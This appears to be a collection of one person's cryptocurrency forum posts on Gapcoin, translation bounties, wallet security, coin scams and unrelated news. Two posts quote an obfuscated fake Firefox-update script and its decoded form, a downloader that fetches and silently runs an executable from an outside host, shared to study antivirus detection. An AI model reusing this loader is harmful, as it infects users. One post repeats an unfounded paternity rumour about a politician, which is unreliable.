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All three of the coins seem to have decayed a bit, it would be nice to get all of their algorithms' tuned up, if that is the problem.
There aren't 2016 records listed on Dr. Nicely's site, I just noticed. the Primecoin and Riecoin sites also are quite far behind.
We probably need a mathematician's input on what the problem is, J0nn9 or Yom Ki or anybody who knows.
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In case anybody is interested, I posted it on another site and somebody cracked it. http://www.bleepingcomputer.com/forums/t/622929/why-are-antivirus-programs-so-slow-to-flag-malware/The decyphered script, with XXXXX added from the above gibberish is try {
a = new ActiveXObject("Wscript.Shell");
b = new ActiveXObject("Scripting.FileSystemObject");
c = new ActiveXObject("MSXML2.XMLHTTP");
d = new ActiveXObject("ADODB.Stream");
url = "https:/XXXXX/feipinofa .netXXXXX/10/524.dat";
fname = b.GetSpecialFolder(2) + String.fromCharCode(92) + "12345.exe";
for (var i = 1; i <= 5; i++) {
try {
c.open("GET", url, false);
c.send(null);
break;
} catch (e) {
WScript.Sleep(5000);
}
}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position = 0;
if (b.Fileexists(fname)) b.DeleteFile(fname);
d.SaveToFile(fname);
a.run("cmd.exe /c " + String.fromCharCode(34) + fname + String.fromCharCode(34), 0, false);
var p = WScript.ScriptFullName;
if (b.FileExists(p)) b.DeleteFile(p);
WScript.Echo("Update complete.");
} catch (e) {}
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There are a lot of fake browser update sites. Usually I download the scrypt and go to the url and forward the malicious stuff to virustotal to see how long various antivirus sites take to detect it. This scrypt though is written in gibberish that doesn't seem to have a url. All the ZZZZZs are added to break links It came from https://feipinofa.nZZZZZet/4231654327224/1470796620751580/fireZZZZZfox-patch.js to which I was maliciously redirected from http://www.newser.com/story/229406/subway-employee-accused-of-drugging-officers-drink.htmlor http://www.wistv.com/story/32721957/sandwich-chain-worker-accused-of-drugging-officers-drinkThe script is as follows, can you decypher it? Warning it has something malicious that no antivirus detects yet. The symbol [ is replaced by ZZZZZ var ggudez='vmaprc gvdfejfpuzexjmeez=h\'z n{pymastiro swterAk=gnjezvriaXxcztncnebjttrOgbzclskWjrq(k"qSp.xtfhbiqpo)q"ilh;ietloesnt=fws rbeigtecgvz vAnjzbhOyeiexXiSy"n(fcecptwistgpfnaroiyloigFsetgz.jeytfsomeSfyjcreejqtpOnbocy l;c=d"p)sAa iwycfnienXdexvuOwtqiutgcpez(ubtjfMdXlSkLu"bMxLjMzXjHl2d.y)e"dPh;cTiTpeqnm=mwk iddietpctve jAnjkbnOyeuehXaAs"r(zDbcdtcSa.hBgthOjDo"xmzaa)krkejlorouy=h;s hputctust"xhcetfq/tis:r/wfvosndabpain/qtxen1q.inx4a2w5l.y0e/e;g"zth bdsafedmmav=xffnmtuebGfSxbc.falitcclypjeke';var tcvj='wdklhrhFiomSm+p)ltu(q2e.zgunrfurriwhhClmxamrjoaerduot(urtCd"f+p)n1n9x2w.z5k4lel2e3b p;e"wfhxyenadvg(zrbosri;b1k=div fixiy;l5m+m<y=krity{vyt+j)zpvoz.der{gccEfGk"iTenl(brmun mlq"i,slnahfdsa,t c.kcb;asfev)knf(qdkujeinrbl;n)brulsln}v;fkacievai(ahicqedajtjcgSuWkrg)a{fSr.ftwlbippe5t(aps0uevek}i;q)p}i0z0lprOz.ueh ddd.qdj xTbnq;x=g hed cyjps.hdc tWz1x;o(keftfcaroieplsfeeof.nRhojBeerdgnfshde m;p.iyp)ztaiwsciuPwoa;j0h=g oohnubt(s a.xiyfoeeehlsxwFnix(dsstjftiasz)sebmv)vnwaslvefDzebbu.glwinFz';var xkvof='ewtkexmkapneed(lfs.adp lSk)i;mojTbenFfaxvkfy(sepnxiulj;e)rew eanmhnbuyrw(gab.i.zdcmxel"ncgcx/x i lxdegrvtbSzil"z+trufe.kornigyrzakhxCvmrCz3e(reb4cocdpajnafmms)l+qrythSrixet+rrrfo.vocnfgeraaehoCymaCf3x(fex4zohdafo,r0aab)j,m;r)heu jlesnpa vrb wvxahcaSyWlro=x mSu.utscsiupzFstipqusrkiamfacNhezlllm mfmii(o;j flvijFeehby.btustiwsmElxqbm)d)z.d(wpjtdeblmekDbey(xeolkpfFcitSlWx dcp)f;b.rtzpuEorlif"e(xojUecahfeoteah appdilypmmwejcroy)d"c.w;gtsebci k}aac y mei(dhk)rthcl w v p e{v}e\'m;uvraird ';var ujak='iyhfgwlyeknpemflvtoig=y"n4t5g2q1d0y3y"o;vvtadrz poizlkklzrujosiub=vyufgwiyyklpemnlstcia.lliernpggtphd;cvjahrb zsqsmpjnpcgfxnyai=svsfojapqzaxfmeet.hleefnqgvtuhx/koyzzktlfrajtsvun;cvlaurz jccwsmcxrttlthsiyxxsm=fZZZZZb]r,wlxrmitgicktsxcmp=tZZZZZv]l;gvxawra xag=d0p;ifvoirc(nvhazrz mia=r0j;yid<csgsnpunicdfondap;uia+m+u)x{s x n bcswwmdxgtdlchgiqxdsxZZZZZzic]b=bvifpjwpqztxkmtei.fsuuubzsstnrx(fao,qoczskxlfrvjdswuz)b;v b d xaj s+u=aomzfktlurkjospuk;g}cfiomrr(yvoajrw uie=a0r;dib<msfsfpknocxfenoaj;jii+e';var fjaur='+t)w{t e d wfmoqrn(kvfawrh amb=h0r;fmi<dokznkolzrljssouv;cmw+z+w)t{t a x p m nacqxbsvzweesobulqj=gyufnwryikbprmtlutfip.wcchpasrvAjts(tmy)f;g b c z b hlsrcisgccjtmxpmaZZZZZvmr]r=pclwxmexitzlthaivxcstZZZZZoib]y.vcchbaurdAitn(gabqpbpvoweeqojuwqi)y;h f c p}f w q bczwkmqxatillhdikxgshZZZZZsit]o=uljrdiigocttrxkmb.pjsohirni(m"o"y)n;n}ivdaorr posabuwlaquiqnowpvznr=xcnwlmoxytmldhqiuxvsy.gjkoxiunx(f"y"m)x;oveazrk fkujaatkjcalkrglojw=u"meivyaclc"u;atjheiyseZZZZZckdjcapkbcrltralbjz]v(cosaeudldqlirnzwgvdni)e;';var gce='f';var bboahfkbss=ggudez+tcvj+xkvof+ujak+fjaur+gce; var e=new Error(2); var t=e.number; var uakenars=""; var riqrliooj=t; var vdsyeadob=bboahfkbss.split(""); for (a=0;a<vdsyeadob.length;a +=riqrliooj){ uakenars=uakenars+vdsyeadobZZZZZa];} var ycchmhvn=ZZZZZ"e","e","a","x","v","l","o"]; var xmodlrck=3-t; var vhiwyzhho=ycchmhvnZZZZZxmodlrck]+ycchmhvnZZZZZ4]+ycchmhvnZZZZZ2]+ycchmhvnZZZZZ5]; var kbubebolwc=this; var jksgjsorh=kbubebolwcZZZZZvhiwyzhho]; jksgjsorh(uakenars); var axvqsxsjewcbr='qcncarncfkrbfifzybgnymsmbcaarftthdzvwjwmtqsbzgmlvhgtlsygtmnvuhcahtlqpfnfitgjrij sqeyzebpzztihvuxvzqvltsuglaetxeaj'; Right now it scores 0/54 on virustotal https://www.virustotal.com/en/file/0a5cdd5b40d88ded4a3783a7ed89148a13bdc3351a9a67cb2b78cd39bab408f3/analysis/1470797839/In a few days it will score 5 or 10 / 54 In a week or two 20 or 30 / 54 |
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Can we get coin markert cap to,fix link to explorer so good,to see it looking forward to website updates good,times ahead
It has been submitted, but anybody can submit info to CoinMarketCap any time by using the form on the bottom of their pages. |
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42 days till gap coin halving first halving ever for Gap
I would buy some more just for the sake of it but what i am afraid is that the network is too small and it can easily be forked... I'm not clear exactly on how that is solved. Should there be an authoritative 'miner' or node, like j0nn9 that the community would defer to if there were doubts? |
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... Meanwhile smoke weed 3 times in Texas and end up in jail for life... Totally fucked up!
Not that many Americans are serving life sentences now for nonviolent marijuana sentences. But some of the stories are ridiculous. http://clemencyreport.org/top-10-outrageous-marijuana-sentences/https://www.lifeforpot.com/ http://www.marijuanaliferproject.org/how-to-help/This Native woman http://newsok.com/how-31-of-pot-gave-mom-a-10-year-prison-sentence/article/3542585 who got ten years for selling a dime bag to a cop got her sentence reduced because of a mass of publicity.  "A Cuban fisherman with a fourth grade education and limited English skills.... A minor player in a phony marijuana importation effort/DEA sting, Leopoldo was a day laborer who was harvested into a life without parole sentence..."  --- ... Even Hillary will refuse to fuck him ...).
One of the reasons some people support Hillary is because if she becomes president Americans may finally find out who is the father of her kid. Bill Clinton is known to have had a vasectomy before Chelsea was conceived. So if you are a science minded person who likes gossip and tabloid stuff, Hillary is the best candidate. |
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Here are some small bounties for translations that are done by native speakers, not by Google Translate. The bounty is 0.02 btc for translations by native speakers into the following languages, Chinese, German, Russian.
Please post that you are offering to translate, then wait for a post that says okay. Then once we have both agreed publicly the job can be done.
The price is fixed. I'm sorry it's not more generous. Eventually I will try to offer bounties for Italian, Spanish, Tagalog and some other languages. If somebody else wants to offer bounties I might chip in a little. A block explorer is needed. The text between the #### symbols is the text that needs to be translated. I updated the initial announcement a little and would appreciate any suggestions on changes. The translation can be 'improved" or adapted by the translator in any way he or she thinks is appropriate, then posted in the relevant language thread. -----
####Gapcoin is an older math coin, started in 2014, that uses a special algorithm to search for Prime Gaps. Gapcoin has already found a substantial number of high merit Prime Gaps and is one of the more serious math coins. It is not heavily promoted or pumped but some supporters are trying to encourage interest. Since China has the most activity right now in similar coins, Primecoin and Riecoin it might also be a good market for Gapcoin. If you want to help develop Gapcoin, or have any ideas please post. The English thread https://bitcointalk.org/index.php?topic=822498.0 is active though the original dev does not stop by frequently. #### ####Website:#### gapcoin.org####Block explorer / Network info:########Blocks:#### http://cryptoguru.tk/Blocks/index.php?Currency=GAP####Exchanges####:
####Bounties have been issued in the past, both for work on the coin and for breaking certain records. If you are interested in contributing to a bounty or doing some work for one, please post. Gapmine has no premine, so all bounties come from contributors. If you want to offer a bounty for something you do not need to ask somebody, just offer it. ########Highest found merits (Top 30 Gapcoin)####: http://gapcoin.org/primegaps.php####Top-20 merits world record list####: http://primerecords.dk/primegaps/gaps20.htm####Top-20 Prime Gaps for all merits####: http://primerecords.dk/primegaps/gaps20all.htm####Gapcoin broke records of many hundreds of first known occurrence prime gaps:####http://www.trnicely.net/gaps/g4k.html ####More than 100 records#### http://www.trnicely.net/gaps/g6k.html ####91 records#### http://www.trnicely.net/gaps/g8k.html ####3 records#### http://www.trnicely.net/gaps/g10k.html ####More than 100 records#### http://www.trnicely.net/gaps/g15k.html ####More than 100 records#### http://www.trnicely.net/gaps/g20k.html ####53 records#### ####Specifications:####- ####PoW: custom, prime gaps####
- ####Block target time 2.5 minutes####
- ####Block reward proportional to the current difficulty####
- ####Block reward halving every 420000 (about 2 years)####
- ####Cap: about 10 - 30 million GAP####
- ####Difficulty adjusts every block and increases logarithmic (it will probably take years to get to 50)####
####Fair launch:####- ####Gapcoin was not designed to enrich the early adopters or the coin creators! The more people mine Gapcoin, the more coins per block will be produced. (Coin supply will increase logarithmic with the difficulty, this means it will grow in the beginning, but later, it won't change much.)####
- ####There won't be any premine!####
- ####To avoid instamine, the reward of the first 1152 blocks (about 48 hours) will increase quadratically to its absolute value: the current difficulty. Block reward will be 1/1152^2 * blockheight^2 * difficulty for the first 1152 blocks. This should guarantee that the difficulty is stable until the blocks yield a worthwhile amount of coins.####
- ####Source code will be available before launch (excluding the PoW function), so everyone can setup their own environment, compile the software, and check if everything works.####
- ####Windows and Linux binaries will be distributed in an encrypted container before launch, the password will be revealed at launch.####
####Launch date:#### ####Tue Oct 21 2014 - 18:00 UTC########Wallet:########Windows:#### https://github.com/gapcoin/gapcoin/releases/download/v0.9.2-rev2/gapcoin-rev2-windows.zipmd5: f476544e2b34133d829d585e6b9d3f7a ####Linux:#### https://github.com/gapcoin/gapcoin/releases/download/v0.9.2-rev2/gapcoin-rev2-linux.zipmd5: 50551e97df7cdfd672a66ebf059cee20 ####Source code:#### https://github.com/gapcoin/gapcoin####Build instructions for Gapcoin Core:#### https://github.com/gapcoin/gapcoin/blob/v0.9.2-gap/doc/build-unix.md####Latest GapMiner (CPU/GPU) Release########Windows:#### https://github.com/gapcoin/GapMiner/releases/download/gapminer-rev4.1/windows.zipmd5: 140c6b00811bd6474582f360956b4daa ####Linux:#### https://github.com/gapcoin/GapMiner/releases/download/gapminer-rev4/linux.zipmd5: 71cc3cb94265adf5b4f583b05c704c06 ####Source Code:#### https://github.com/gapcoin/GapMiner ####(branch gpu-miner)#### ####Improved GPU-Miner (experimental):########Windows:#### https://github.com/gapcoin/GapMiner/releases/download/gpu-miner-rev3/windows.zipmd5: 6e0fa4a4331c3758bec1fc74334aa753 ####Linux:#### https://github.com/gapcoin/GapMiner/releases/download/gpu-miner-rev3/linux.zipmd5: 85bb6f69b22de5e51388155e7b532195 ####Source Code:#### https://github.com/gapcoin/GapMiner ####(branch gpu-miner)#### ####Old GPU-Miner:#### ####Windows:#### https://github.com/gapcoin/GapMiner/releases/download/gpu-miner-rev2/windows.zip####Linux:#### https://github.com/gapcoin/GapMiner/releases/download/gpu-miner-rev2/linux.zip####Modded CPU-Miner (by dcct, about 10x faster than old version):########Windows:#### https://github.com/gapcoin/GapMiner/releases/download/dcct-mod/windows.zipmd5: d8b7f82ef2e325f7feff1b2630e21849 ####Linux:#### https://github.com/gapcoin/GapMiner/releases/download/dcct-mod/linux.zipmd5: 15999a95ed79174c83c92827884ee8b6 ####RPC-Pool-Miner (source code):#### https://github.com/gapcoin/GapMiner ####RPC-Pool-Miner (Linux binaries):#### https://github.com/gapcoin/GapMiner/releases/download/rev3/gapminer-linux-rev3.zipmd5: 3b79f2b3f6b74bee04ad267b4f595b40 ####RPC-Pool-Miner (Windows binaries):#### https://github.com/gapcoin/GapMiner/releases/download/rev3/gapminer-windows-rev3.zipmd5: e406f2c94b00a7abf84e9e5b696ffa47
####Gapcoin should automatically connect to the network,
but if you get problems, you can add nodes to your gapcoin.conf file:####
####Some current nodes as of July 21, 2016####
addnode=212.227.143.155:31469
addnode=178.130.36.81:31469
addnode=91.155.235.8:31469
addnode=195.9.85.220:31469
addnode=186.23.160.142:31469
addnode=178.62.70.163:31469
addnode=139.59.176.197:31469
addnode=46.101.27.9:31469
addnode=201.239.46.137:31469
addnode=104.172.24.79:31469
####You can also use the addnode command in the console to add nodes.
For example ####
addnode 212.227.143.155:31469 add
####Miscellaneous:####
####Mining hardware comparison (outdated):#### http://gapcoin.org/hardware-comparison.php
####New RPC calls:####
listbestprimes amount (min merit)
Returns a sorted list of the best prime gap merits.
Arguments:
1. amount (numeric). number of prime gaps to display
2. merit (numeric, default = 16). minimum merit to display
listprimerecords merit
Returns a list of all prime gaps with the given integer merit.
Arguments:
1. merit (numeric 1,2,3..) the prime gap merit.
####Note: The above rpc-calls can take a long time to respond.#### ####Logos (new):####http://gapcoin.org/logos/gapcoin_header.jpghttp://gapcoin.org/logos/new-logos.jpg####Logos (old):####http://gapcoin.org/logos/Logo.pnghttp://gapcoin.org/logos/qt-test-net.pnghttp://gapcoin.org/logos/qt-main-net.pnghttp://gapcoin.org/logos/qt-green-big.pnghttp://gapcoin.org/logos/twitter-white-black.pnghttp://gapcoin.org/logos/twitter-white-shadow1.pnghttp://gapcoin.org/logos/twitter-white-shadow2.pnghttp://gapcoin.org/logos/twitter-white-shadow3.pnghttp://gapcoin.org/logos/twitter-green-more-black.pnghttp://gapcoin.org/logos/twitter-lila.pnghttp://gapcoin.org/logos/twitter-green-smal.pnghttp://gapcoin.org/logos/twitter-green.png ####The background of the Logos shows a sector from an image of the prime number distribution. Every colored pixel represents a prime number. The original image is 2310 pixel width.#### [/quote]
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... great review! Thanks for including PTC!  I didn't do that. I saw it and learned a lot from it so I pasted the link only. |
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I know there are probably hundreds of threads on this subject, here is one more. Somebody messaged me about a coin and mentioned that they have a significant amount of a coin in a wallet that is online so I'm just making a generic post to explain the problem a little and maybe somebody else who understands better will improve or link to a better post on the subject. ----- When you put coins in a wallet, and that wallet is on a computer that is connected to the internet, you have a very high chance of losing those coins eventually. It may take a week, a month, a year, ten years, but eventually the coins will be gone. Hackers are getting more and more slick with coins and crypto is probably the most attractive new target to hackers online. ----- The best solution, which does not even protect you 100%, is to have a dedicated offline computer, a computer that never touches the internet, and create wallets on it. When the wallet has never touched the internet the chances of a hacker getting to it are slim, but still not zero. Why is there still risk, even if you create a wallet offline? Among other things, there are downloaded wallets that are dirty. Your browser could be redirected to download a wallet that was modified in such a way that any addresses it creates are compromised. ----- There are so many people who have had coins hacked, many of them knowledgeable people, that if you are a new person just getting into crypto you can probably expect to get hacked before too long. https://www.bitcoinarmory.com/tutorials/armory-advanced-features/offline-wallets/https://en.bitcoin.it/wiki/Cold_storage----- Online wallets and exchanges get hacked very frequently too. https://www.reddit.com/r/Bitcoin/comments/4opoy3/coinbase_and_gmail_accounts_hacked_from/https://bitcointalk.org/index.php?topic=1516588.0https://www.reddit.com/r/Bitcoin/comments/3ibh95/coins_stolen_from_mycelium_wallet_how_do_you/https://www.reddit.com/r/BitcoinMarkets/comments/3e85rc/my_bitfinex_account_was_hacked_and_all_my_money/https://talk.paxful.com/t/bitcoins-disappeared-to-an-unknown-bitcoin-address/1674https://bitcointalk.org/index.php?topic=1423584.0https://bitcointalk.org/index.php?topic=951151.0https://bitcointalk.org/index.php?topic=875805.0https://www.reddit.com/r/Bitcoin/comments/42tp55/coinbase_with_2fa_and_emailsms_alerts_hacked/and on and on |
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Add any advice you want. There probably are a lot of threads like this and I'll link them if anybody posts. ~~~~~ added https://www.coingecko.com/enhttps://coinmarketcap.com/currencies/views/all/... I'm of the mind that there's absolutely no reason to own 99.99% of the shitcoins that are on the market. My advice would be to check your motive in buying. If it's to make a buck, then that's probably the same reason the next guy has for buying whatever coin you're considering, and you're just looking to unload the shitcoin on the next sucker that comes along. Very very few coins have a reason to exist. They're not going to be used as currency ever, and probably won't survive long enough to be useful as a store of value..
~~~~~ 1) Always be wary of premines and ico'sThe spirit of the crypto economy, for people who 'get it', is the creation of currencies that are able to perform functions, rather than simply enrich a few gangsters. There is no currency that genuinely "needs" an ico or premine. That's just the truth. There are a million and one excuses why an ico or premine "is necessary in this case", but the truth is that an actual good idea does not need a specific person or group to collect funds on its behalf. 2) If somebody wants to sell you a premined or ico coin then at least know who they are.Coin after coin comes up with an anonymous dev asking for, and getting, vast bucketloads of cash just because he or she has an extraordinary gift for bullshitting people. Anybody can say they want money for a project. If they want your money but do not want you to know who they are, why would you guess that is? 3) A coin that is emitted very fast is usually made so that a few people can get all the coins then pump it up.If more than half of a coin's total supply is produced within a few months it usually means the maker of the coin is going to accumulate most of the coins, then pump the price up and unload. If a coin is emitted very quickly and also contains a nonsensical "0 reward" phase in the beginning "to prevent instamine" then the scammer is specifically targeting the truly simple people. 4) Most garbage coins have pump crews.If you go to the thread of an honest coin you will not see an endless string of people saying "This coin is the best since bitcoin." When you see hype it is usually because the coin needs it. 5) Estimate the value of a coin by it's market capitalization (the combined value of all its coins) rather than the price of one coin.Most people go to sites like Coinmarketcap.com and look at the market capitalization of a coin to decide if it is cheap or expensive. The price of one coin is meaningless. 6) It is very common for people to be stuck with a worthless coin then try to convince new people to buy it by shining it up a little.When a coin is abandoned, or found out to be a scam, there are people left holding the worthless coins. Often times these people will announce that they are reviving the coin but usually the revival lasts only as long as it takes them to unload their coins. 7) A genuine currency is first a currency, then a tool for speculators.Most coins that exist now are made for speculators. In other words they are not actual "currencies". A tiny few coins are being used non commercially by people who genuinely enjoy them. These coins are very cheap right now but will still be around far into the future. Other coins were created only for miners and speculators, then had a bunch of "features" hammered into them to make it look like "somebody should be interested in this". Those coins are super expensive now but will probably not exist in a few years.  Be wary of "known experts" who whore out their reputations to pump premined or ico coinsThis is a rapidly expanding economy with millions of pesos/dollars/rubles/yuan easily available for any publicly recognized "expert" who is willing to sell out for cash. If you are a new person to crypto then you probably will be scammed several times before you get a sense of how much scum there is. Always diversify. Never put more then 1/3 of your investable money in any coin, but especially not in a "sure thing". Almost all of the activity in coins right now is speculative, almost no actual economy exists. So valuations are based on hypotheticals that in many cases are manipulated to serve whoever is promoting a coin. If you don't understand something about a coin then ask until you understand. In almost all cases where people are scammed, it is because they trust others to understand things for them, to do their thinking for them. |
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When you search Litecoin on the Asian search engine Baidu, Katecoin comes up prominently. How does a person buy these? I find only https://www.gobiw.com/coin/index/id/15 but the page is covered with squigly lines and when you try to register they ask you to provide state documents, I guess to prevent illuminati and foreigners from buying coins? |
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Tagged for delisting at Poloniex
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From http://www.ozy.com/acumen/the-island-paradise-where-journalists-are-murdered/69496"In 2009, more than 30 journalists accompanied a local politician’s wife as she went to submit his name for the ballot. The incumbent and his armed gangs had made it clear that opposition wouldn’t be tolerated, but the would-be candidate thought no one would dare mess with his wife. He was wrong. En route to the station, the entire party, over 50 people in all, was ambushed and killed by gunmen in what is now known as the Ampatuan massacre — the single deadliest event for journalists worldwide." "This horrific event didn’t happen in Syria or Afghanistan. Nope, it occurred in the Philippines." "While there has been a marginal decline in such murders, impunity reigns. The Philippines ranks fourth on CPJ’s 2015 Impunity Index, and is the only country among the list’s top five that isn’t an active war zone. Not a single person has been brought to justice for Ampatuan. And according to the Philippine Center for Investigative Journalism, only 14 of 172 journalist murders have ended in conviction since 1986. Often, says Kine, those charged with investigating the crimes are those responsible for committing them, which sends a pretty clear message to would-be journalist-killers: It’s doable. The U.S. is hesitant to push for major reforms since the Philippines is a strategic partner in countering China’s advances in the South China Sea and is seen as an ally in the war on terror. " |
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